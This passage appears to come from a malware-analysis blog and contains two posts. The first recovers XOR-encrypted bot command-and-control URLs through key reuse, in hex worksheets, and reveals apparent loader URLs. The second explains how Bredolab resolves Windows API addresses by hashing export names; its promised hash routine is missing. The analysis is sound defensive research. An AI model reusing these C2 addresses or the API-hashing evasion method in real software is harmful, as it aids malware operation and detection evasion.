Here we can see that the key starts to repeat at the start of the second row. So the key length is 16 bytes, and again we have proved that the key holds the hard coded URL. Decrypting the next byte at the end provides a little bonus, 0×81 XOR 0×81 = 0×00, the null terminator for the string. Decryption from this point onward exposes bytes that appear to be random.

But now consider another scenario, what would we do if we had no idea what the encrypted URLs were? If we have bots with different URLs using the same key, the problem is not beyond solution. To demonstrate I will use the data from T1 and M1, from the other key group. It turns out, in the end, that only the first two lines of hex are needed for this, so the example below will not show the third line.

First we need to locate the key repetition. We can try “http://” at the start to find the first seven key bytes. With these key bytes we can  decrypt at different locations until some URL-like text appears. The bot code probably processed this as DWORDs, so we will take a shortcut by checking at four byte intervals, and use only four key bytes for each decryption. If this fails we will have to try decrypting at different intervals, possibly even at every byte. The “?” marks below indicate decrypted bytes outside the normal text range, which we would not expect in a URL.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff 90 ef 54 12  90 ef 54 12

plain      68 74 74 70  3a 2f 2f     ac 13 43 e3  01 be be 2d

text       h  t  t  p   :  /  /      ?  ?  C  ?   ?  ?  ?  -

00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12 90 ef 54 12 90 ef 54 12 90 ef 54 12

plain      63 6e 2f 6d  3a ec 84 2f  b7 51 5c ea  15 d8 10 95

text       c  n  /  m :  ?  ?  /   ?  Q  \  ?   ?  ?  ?  ?

The true decryption appears to be “cn/m”, at the start of the second row. None of the others is even close. So it looks like we have found the key repetition and the key length. With this information we can set up our work sheet, with the known key bytes and decryptions they give us filled in. It can be seen below, where the decrypted parts confirm our work so far.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff

plain      68 74 74 70  3a 2f 2f

text       h  t  t  p   :  /  /

00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff

plain      63 6e 2f 6d  6c 64 2f

text       c  n  /  m   l  d  /

M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff

plain      68 74 74 70  3a 2f 2f

text       h  t  t  p   :  /  /

00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff

plain      74 2f 6c 6f  61 64 65

text       t  /  l  o   a  d  e

Now we need to extend the URL text parts to uncover more key bytes. In other words we need to make some good guesses, but because the structure of URLs is well known to us, this should not be too difficult.

Notice that the second text line under T1 starts with “cn/mld/”. This looks like a “.cn” top level domain, so let’s fill in the “.” and apply the key byte we get.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff                           11

plain      68 74 74 70  3a 2f 2f                           2e

text       h  t  t  p   :  /  /                            .

00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff 11

plain      63 6e 2f 6d  6c 64 2f                           96

text       c  n  /  m   l  d  /                            ?

M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff                           11

plain      68 74 74 70  3a 2f 2f                           65

text       h  t  t  p   :  /  /                            e

00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff 11

plain      74 2f 6c 6f  61 64 65                           00

text       t  /  l  o   a  d  e                           

Now we have some more decrypted bytes. There is a null at the end of M1, this must be the URL string terminator, and a non-text byte (0×96), but let’s ignore that one for now. It may be junk from beyond the end of the URL string, and we will know soon enough if this was a bad guess. At the end of the first M1 line the text character is an “e”, so that we now have “et/loade”. This looks like it must be “.net/loader”, so next we will fill this in and decrypt some more.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff 5f 34 98 11

plain      68 74 74 70  3a 2f 2f 6d                  65 72 2e

text       h  t  t  p   :  /  /  m e  r .

00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff 5f 34 98 11

plain      63 6e 2f 6d  6c 64 2f 62                  00 dc 96

text       c  n  /  m   l  d  /  b ? ?

M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff 5f                  34 98 11

plain      68 74 74 70  3a 2f 2f 75                  2e 6e 65

text       h  t  t  p   :  /  /  u .  n e

00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff 5f 34 98 11

plain      74 2f 6c 6f  61 64 65 72                  68 70 00

text       t  /  l  o   a  d  e  r h  p

There is nothing very obvious here, but at the end of the second row of M1 we have “hp”. This looks like it could be “.php”, so let’s try that next.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff 5f 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 6d           61  64 65 72 2e

text       h  t  t  p   :  /  /  m            a   d e  r  .

00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff 5f 90  f5 34 98 11

plain      63 6e 2f 6d  6c 64 2f 62           68  70 00 dc 96

text       c  n  /  m   l  d  /  b            h   p ?  ?

M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff 5f 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 75           69  74 2e 6e 65

text       h  t  t  p   :  /  /  u            i   t .  n  e

00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff 5f           90  f5 34 98 11

plain      74 2f 6c 6f  61 64 65 72           2e  70 68 70 00

text       t  /  l  o   a  d  e  r            .   p h  p

This looks good, and now we have some good hints. In T1, in the first line, it looks like we have “//m?loader.” and in the second line another “.php” is developing. We can put these in.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff 5f     90 78 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 6d     6c 6f 61  64 65 72 2e

text       h  t  t  p   :  /  /  m      l  o a   d  e  r  .

00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff 5f 90 78 90  f5 34 98 11

plain      63 6e 2f 6d  6c 64 2f 62     2e 70 68  70 00 dc 96

text       c  n  /  m   l  d  /  b      .  p h   p  ?  ?

M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff 5f 90 78 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 75     6c 69 69  74 2e 6e 65

text       h  t  t  p   :  /  /  u      l  i i   t  .  n  e

00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff 5f 90 78 90  f5 34 98 11

plain      74 2f 6c 6f  61 64 65 72     62 62 2e  70 68 70 00

text       t  /  l  o   a  d  e  r      b  b .   p  h  p

Now, in the second line of M1, we have “bb.php”, and it looks like this also appears in “mld/b?.php” at second line of T1. With this we can fill in the last missing byte.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff 5f 45 90 78 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 6d  79 6c 6f 61  64 65 72 2e

text       h  t  t  p   :  /  /  m   y l  o  a   d  e  r  .

00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff 5f  45 90 78 90  f5 34 98 11

plain      63 6e 2f 6d  6c 64 2f 62  62 2e 70 68  70 00 dc 96

text       c  n  /  m   l  d  /  b   b .  p  h   p  ?  ?

M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff 5f 45 90 78 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 75  6b 6c 69 69  74 2e 6e 65

text       h  t  t  p   :  /  /  u   k l  i  i   t  .  n  e

00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff 5f 45 90 78 90  f5 34 98 11

plain      74 2f 6c 6f  61 64 65 72  2f 62 62 2e  70 68 70 00

text       t  /  l  o   a  d  e  r   / b  b  .   p  h  p

So even if the URLs are unknown, we can still decrypt them if bots with different URLs use the same key. In fact all of the pairs from this group {T1-M1, M1-M5, and T1-M5} can be solved without any really difficult guessing, and using all three makes it much easier. Even when it is not clear what text to fill in next, we can always try different guesses until we find the right one.

Of course the weaknesses in this encryption could have been avoided, or at least reduced. For example, not re-using keys would have helped. What we may be seeing here is evidence that, like many computer users, bot herders don’t take security as seriously as they should.

Malware authors also use dynamic function loading to enable itself to adapt to different operating system. They use it to enable their program to run on Windows XP, Vista, Windows 7 or other platform.

Common practice is to list all function names as an array of strings to be loaded once the application is running. They used a combination of LoadLibrary and GetProcAddress functions to get the proper addresses. Still some try to use other techniques of getting those addresses without even using those two functions.

Let’s take a closer look at how W32/Bredolab.AC!tr.dldr resolved its API addresses.

W32/Bredolab.AC!tr.dldr did not use a list of API strings,  instead it uses a list of hash values equivalent of the APIs. The hash is computed as below:

These are the steps how the malware got the right API  addresses without using LoadLibrary and GetProcAddress functions.

Step 1:

It first copies the DLL file that it needs in a “%temp%” folder with TMP??.tmp as the filename(?? is a 2-digit number).

Step 2:

It then loads the TMP??.tmp to its address space.

Step 3:

After loading the tmp file which is the equivalent dll file, it can now work on parsing it.  It parses its content, technically in the export table to get the list of function names. It then computes a hash value for each name and compare it to its own list.

Once it gets the right hash value, it then gets the address of the function. And it starts back on Step 1 till it gets all the addresses it needs.

This technique of getting API addresses is not new. But it still serves as a basis of how malware works. Malware authors go to some lengths just to try to make analysis harder. I imagine that this is not even half of what the malware does.